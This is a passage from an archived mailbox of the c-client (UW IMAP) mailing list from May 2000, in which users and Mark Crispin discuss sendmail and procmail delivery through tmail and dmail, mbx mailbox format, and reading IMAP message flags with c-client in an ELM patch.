MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > Mlocal, P=/usr/local/sbin/tmail, F=lsDFMAw5:/|@qPrn+, > S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, > E=\r\n,T=DNS/RFC822/X-Unix, > A=tmail $u A=tmail $u+$h > > but if I send a message to > enrico+prova.tmail@mbox.le.infn.it, the message > is delivered to INBOX. Yes. sendmail splits user+detail into user part ($u) and detail ($h). It is a kludge, admittedly ... O.K. it was so up to 8.9.x, I hope it was not changed in 8.10.x The folder prova.tmail exist (created via > Netscape 4.7 [en] - 19990915). > -andrej From pinedev@shivax2.cac.washington.edu Wed May 3 09:21:41 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 09:21:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA11885 for ; Wed, 3 May 2000 09:21:39 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA30116; Wed, 3 May 2000 09:21:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA24845; Wed, 3 May 2000 09:19:55 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA46148 for ; Wed, 3 May 2000 09:17:07 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (klaus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA04486 for ; Wed, 3 May 2000 09:17:07 -0700 Message-Id: Date: Wed, 3 May 2000 09:13:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Enrico M.V. Fasanelli" Cc: c-client@u.washington.edu Subject: re: Help on sendmail-tmail & -procmail-dmail chain In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN According to the log, tmail never got the "+prova.tmail" part of the address. So the problem is in the sendmail configuration. I don't know enough about sendmail to say how to fix it, but I see that our sendmail.cf has a separate "Mlocalplus" rule with "A=tmail -d $u+$h". There's also some other stuff that calls localplus. From pinedev@shivax2.cac.washington.edu Wed May 3 09:38:53 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 09:38:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA13889 for ; Wed, 3 May 2000 09:38:52 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA30283; Wed, 3 May 2000 09:38:49 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id JAA26086; Wed, 3 May 2000 09:38:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id JAA23504 for ; Wed, 3 May 2000 09:35:48 -0700 Received: from OSFserver.le.infn.it (OSFserver.le.infn.it [192.84.152.11]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA14954 for ; Wed, 3 May 2000 09:35:47 -0700 Received: from server.le.infn.it (server.le.infn.it [192.84.152.212]) by OSFserver.le.infn.it (8.9.2/8.9.2) with SMTP id SAA12473; Wed, 3 May 2000 18:33:28 +0200 (MET DST) Message-Id: Date: Wed, 3 May 2000 18:33:29 +0200 (MET DST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Enrico M.V. Fasanelli" To: Andrej Borsenkow Cc: c-client@u.washington.edu Subject: RE: Help on sendmail-tmail & -procmail-dmail chain In-Reply-To: <001401bfb514$516218e0$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 3 May 2000, Andrej Borsenkow wrote: > > > > Mlocal, P=/usr/local/sbin/tmail, F=lsDFMAw5:/|@qPrn+, > > S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, > > E=\r\n,T=DNS/RFC822/X-Unix, > > A=tmail $u > > A=tmail $u+$h > Thanks Andrej, the $u+$h work fine. Now the second part of the subject (I've dent the previous message without write anithing on procmail-dmail) Anyone know (and tell me where to read) how to setup procmail in order to use the dmail module and obtain then a mail delivered in a mbx format folder ? Again TIA Enrico > > -andrej > > Enrico M.V. Fasanelli Phone +39 0832 320.435/448 Istituto Nazionale Fisica Nucleare Fax +39 0832 325128 Sezione di Lecce mailto:Enrico.M.V.Fasanelli@le.infn.it Servizio di Calcolo & Reti Via per Arnesano, I-73100 LECCE (Italy) From pinedev@shivax2.cac.washington.edu Wed May 3 11:25:57 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 11:25:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA12965 for ; Wed, 3 May 2000 11:25:55 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA00992; Wed, 3 May 2000 11:25:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA01529; Wed, 3 May 2000 11:24:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA42688 for ; Wed, 3 May 2000 11:23:17 -0700 Received: from mail.tripperjones.com ([209.191.92.151]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA02593 for ; Wed, 3 May 2000 11:23:17 -0700 Received: from steve (adsl-63-204-40-234.dsl.lsan03.pacbell.net [63.204.40.234]) by mail.tripperjones.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id JG6LYW3Y; Wed, 3 May 2000 11:29:12 -0700 Message-Id: <01c301bfb52c$3ed4dfb0$1401a8c0@steve> Date: Wed, 3 May 2000 11:20:21 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Steve Quezadas" To: Subject: Imapd server for large mailboxes? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01C0_01BFB4F1.920C9780" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_01C0_01BFB4F1.920C9780 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Ok, I have a client with a fairly large mailbox (250 megabytes+). This = client receives large emails every day about 10-20 megabytes big a = piece. They are not a lot, but when they do come in, they are large = mails. It seems that the imap server is having a hard time coping with = this and if the mailbox gets too big, it kind of chokes. Ie, it times = out and the user can't get his mail(I am using Qmail with mbox format by = the way). Is there any way around this problem? I am thinking about switching over = the maildir, which can handle large attachments better for a low volume = of mails, but I am not sure if WU imapd can handle it. Can it? If not, = is there another imapd server that can? I am mystified as to what to do next.=20 ------=_NextPart_000_01C0_01BFB4F1.920C9780 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Ok, I have a client with a fairly large = mailbox=20 (250 megabytes+). This client receives large emails every day about = 10-20=20 megabytes big a piece. They are not a lot, but when they do come in, = they are=20 large mails. It seems that the imap server is having a hard time coping = with=20 this and if the mailbox gets too big, it kind of chokes. Ie, it times = out and=20 the user can't get his mail(I am using Qmail with mbox format by the=20 way).
     
    Is there any way around this problem? I = am thinking=20 about switching over the maildir, which can handle large attachments = better for=20 a low volume of mails, but I am not sure if WU imapd can handle it. Can = it? If=20 not, is there another imapd server that can?
     
    I am mystified as to what to do next.=20
    ------=_NextPart_000_01C0_01BFB4F1.920C9780-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 3 11:31:02 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 11:31:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA08128 for ; Wed, 3 May 2000 11:31:00 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA01139; Wed, 3 May 2000 11:30:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id LAA01892; Wed, 3 May 2000 11:29:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id LAA41476 for ; Wed, 3 May 2000 11:28:56 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (brit@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA03799 for ; Wed, 3 May 2000 11:28:54 -0700 Message-Id: Date: Wed, 3 May 2000 11:27:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Quezadas Cc: c-client@u.washington.edu Subject: re: Imapd server for large mailboxes? In-Reply-To: <01c301bfb52c$3ed4dfb0$1401a8c0@steve> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I recommend mbx format. maildir would probably be a disaster. From pinedev@shivax2.cac.washington.edu Wed May 3 13:44:54 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 13:44:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA01785 for ; Wed, 3 May 2000 13:44:52 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05011; Wed, 3 May 2000 13:44:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA16847; Wed, 3 May 2000 13:44:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA43016 for ; Wed, 3 May 2000 13:43:24 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA30444 for ; Wed, 3 May 2000 13:43:23 -0700 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gifw.genroco.com (8.9.3/8.9.3) with SMTP id PAA16950 for ; Wed, 3 May 2000 15:43:22 -0500 Message-Id: <012501bfb540$38c60860$7d7885c0@genroco.com> Date: Wed, 3 May 2000 15:43:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: Subject: Unable to check Recent flag of a new message with c-client. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am trying to add IMAP support to ELM 2.5.3 with the c-client library (UW-IMAP 4.7c1). Currently, it is working with reading/copying/moving messages on the IMAP server. The problem that I am currently trying to solve is that for some reason the RECENT flag is reset before the message status check, thus ELM is showing the message with a "O" status instead of a "N" status. When I use gdb on the elm binary and set it up as follows: break newmbox.c:1200 <- line 1200 is "if(mess->recent > 0)" condition 1 mess->recent > 0 it doesn't stop processing messages when a new message is received for the mail account. Could it be that my message headere retreival code is reseting the RECENT flag on the IMAP server? How does pine retreive the message headers & flags from the IMAP server? Thanks Scot ---------- loop until we read last message { : Code to retreive message headers : /* These routines are used to get the flags of the message: * SEEN, RECENT, DELETED, ANSWERED, FLAGGED */ sprintf(dnumber,"%ld",fbytes); mail_fetchfast(stream,dnumber); mess=mail_elt(stream,fbytes); current_header->imap_msgno = fbytes; current_header->imap_size = mess->rfc822_size; if(max_imap_msg < fbytes) max_imap_msg = fbytes; strcpy(current_header->mailx_status, " "); mx_offset = 0; if(mess->seen > 0) { current_header->status |= SEEN; current_header->mailx_status[mx_offset] = 'R'; mx_offset++; } if(mess->recent > 0) { current_header->status |= RECENT; } else { current_header->mailx_status[mx_offset] = 'O'; mx_offset++; } if(mess->deleted > 0) { current_header->status |= DELETED; current_header->mailx_status[mx_offset] = 'D'; mx_offset++; } : } -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 3 14:05:16 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 14:05:16 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA02558 for ; Wed, 3 May 2000 14:05:14 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA05993; Wed, 3 May 2000 14:05:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id NAA10551; Wed, 3 May 2000 13:59:26 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id NAA15874 for ; Wed, 3 May 2000 13:58:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (koda@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA22761 for ; Wed, 3 May 2000 13:58:31 -0700 Message-Id: Date: Wed, 3 May 2000 13:55:38 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Scot W. Hetzel" Cc: c-client@u.washington.edu Subject: re: Unable to check Recent flag of a new message with c-client. In-Reply-To: <012501bfb540$38c60860$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Scot - For performance reasons, I strongly recommend against doing a per-message mail_fetchfast(); instead, you should do an aggregate mail_fetchfast() for all the messages in the mailbox. Only the first mail_open() call that sees the recent message(s) will have the message(s) marked as recent. So, if you are somehow doing more than one mail_open(), the subsequent ones won't show recent status for those messages. -- Mark -- From pinedev@shivax2.cac.washington.edu Wed May 3 14:39:21 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 14:39:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA08054 for ; Wed, 3 May 2000 14:39:19 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA06876; Wed, 3 May 2000 14:39:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA13263; Wed, 3 May 2000 14:33:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA50424 for ; Wed, 3 May 2000 14:31:06 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA15595 for ; Wed, 3 May 2000 14:31:06 -0700 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gifw.genroco.com (8.9.3/8.9.3) with SMTP id QAA17343 for ; Wed, 3 May 2000 16:31:05 -0500 Message-Id: <016701bfb546$e3506c20$7d7885c0@genroco.com> Date: Wed, 3 May 2000 16:31:03 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: Subject: Re: Unable to check Recent flag of a new message with c-client. References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: "Mark Crispin" > For performance reasons, I strongly recommend against doing a per-message > mail_fetchfast(); instead, you should do an aggregate mail_fetchfast() for all > the messages in the mailbox. > Do I even need the mail_fetchfast call before checking the message flags? What is this routine supposed to do? I commented it out, and it didn't seem to have an effect on the message flags (after fixing the below problem). NOTE: the elm2.5.3 imap patch I am working on is based on C Taylor elm2.4 imap patch. > Only the first mail_open() call that sees the recent message(s) will have the > message(s) marked as recent. So, if you are somehow doing more than one > mail_open(), the subsequent ones won't show recent status for those messages. > That was the problem, I was calling a routine twice that was using mail_open(). Commented out the first call and now the new status of a message is showing correctly. thanks. Scot From pinedev@shivax2.cac.washington.edu Wed May 3 14:55:07 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 14:55:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA20062 for ; Wed, 3 May 2000 14:55:02 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA07295; Wed, 3 May 2000 14:55:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id OAA05038; Wed, 3 May 2000 14:49:05 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id OAA17962 for ; Wed, 3 May 2000 14:45:32 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA10809 for ; Wed, 3 May 2000 14:45:31 -0700 Message-Id: Date: Wed, 3 May 2000 14:40:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Scot W. Hetzel" Cc: c-client@u.washington.edu Subject: Re: Unable to check Recent flag of a new message with c-client. In-Reply-To: <016701bfb546$e3506c20$7d7885c0@genroco.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 3 May 2000 16:31:03 -0500, Scot W. Hetzel wrote: > Do I even need the mail_fetchfast call before checking the message flags? > What is this routine supposed to do? > > I commented it out, and it didn't seem to have an effect on the message > flags (after fixing the below problem). mail_fetchfast() loads the cache of message flags, sizes, and internal date. It's preloaded in the local mailbox case, but is not in the IMAP case. If you use the ENVELOPE structure to build your MUA's browser lines, then mail_fetch_structure() will also load the cache. So you don't need to do mail_fetchfast() in that case. mail_fetch_structure() also works a lot better/faster if you do deferred loading of your MUA's browser lines. That is, don't get the data for an MUA browser line until it's actually time to display it. The result is much better real time performance than doing a huge mail_fetchfast() and especially a single mail_fetchfast() for each message. From pinedev@shivax2.cac.washington.edu Wed May 3 15:18:24 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 15:18:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA25946 for ; Wed, 3 May 2000 15:18:22 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA08030; Wed, 3 May 2000 15:18:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id PAA23327; Wed, 3 May 2000 15:17:24 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id PAA42268 for ; Wed, 3 May 2000 15:15:50 -0700 Received: from mail.infohouse.com (mail.infohouse.com [64.61.1.67]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA14763 for ; Wed, 3 May 2000 15:15:49 -0700 Received: from coyote (fwgw.tempest.com [204.143.178.246]) by mail.infohouse.com (Post.Office MTA v3.5.3 release 223 ID# 141-66750U4000L400S0V35) with SMTP id com for ; Wed, 3 May 2000 18:18:31 -0400 Message-Id: <000601bfb54d$95ad6020$168aa8c0@tempest> Date: Wed, 3 May 2000 18:19:00 -0400 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Joel Park" To: Subject: mail attachments MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can someone point me to a simple example of how to add attachments? Every attempt I have made has failed. Thanks -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed May 3 23:10:46 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Wed, 3 May 2000 23:10:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA25705 for ; Wed, 3 May 2000 23:10:45 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA18468; Wed, 3 May 2000 23:10:42 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id XAA24508; Wed, 3 May 2000 23:09:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id XAA46912 for ; Wed, 3 May 2000 23:08:17 -0700 Received: from goliath.siemens.de (goliath.siemens.de [194.138.37.131]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id XAA15554 for ; Wed, 3 May 2000 23:08:16 -0700 Received: from mail1.siemens.de (mail1.siemens.de [139.23.33.14]) by goliath.siemens.de (8.10.1/8.10.1) with ESMTP id e4468EI19504; Thu, 4 May 2000 08:08:14 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail1.siemens.de (8.10.1/8.10.1) with ESMTP id e4468DU26431; Thu, 4 May 2000 08:08:13 +0200 (MET DST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id J56WH9WQ; Thu, 4 May 2000 10:11:45 +0400 Message-Id: <000401bfb58f$20e9d790$21c9ca95@mow.siemens.ru> Date: Thu, 4 May 2000 10:08:12 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "Enrico M.V. Fasanelli" Cc: Subject: RE: Help on sendmail-tmail & -procmail-dmail chain In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer goliath.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > Anyone know (and tell me where to read) how to setup procmail > in order to use the dmail module and obtain then a mail > delivered in a mbx > format folder ? > Well, I (and others) answered this more than once, but ... :-) The procmail/dmail part is trivial. Assuming standard procmail MDA setup (with +detail) something like ........... # # Executive Tech Support list # :0 * ^TOesi-tech-support@ { :0 | /tools/bin/dmail +Incoming/"ESI tech support" } # # Last resort. If we were given user+folder explicitly, # try to deliver to this folder # :0 | /tools/bin/dmail +$1 If no +detailt were given, $1 will be empty and "dmail +" will deliver to INBOX. As you see, there is no mailbox format specification. That's because dmail will NOT create mailboxes (but happily deliver into whatever format you happen to have) - you have to create mailbox in advance. Just how exactly you do it - is another story alltogether :-) In short, you either have to setup mbx format as default or use #driver.mbx/path/to/file for mailbox name; on Unix you can use mbxcreat utility. -andrej From pinedev@shivax2.cac.washington.edu Thu May 4 12:16:55 2000 -0700 Return-Path: Received: via tmail-4.1(11) (invoked by user mailnull) for mailarch+c-client; Thu, 4 May 2000 12:16:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA23926 for ; Thu, 4 May 2000 12:16:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA05041; Thu, 4 May 2000 12:16:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with SMTP id MAA28420; Thu, 4 May 2000 12:15:36 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.09) with ESMTP id MAA52452 for ; Thu, 4 May 2000 12:12:24 -0700 Received: from mail.infohouse.com (mail.infohouse.com [64.61.1.67]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA15196 for ; Thu, 4 May 2000 12:12:24 -0700 Received: from coyote (fwgw.tempest.com [204.143.178.246]) by 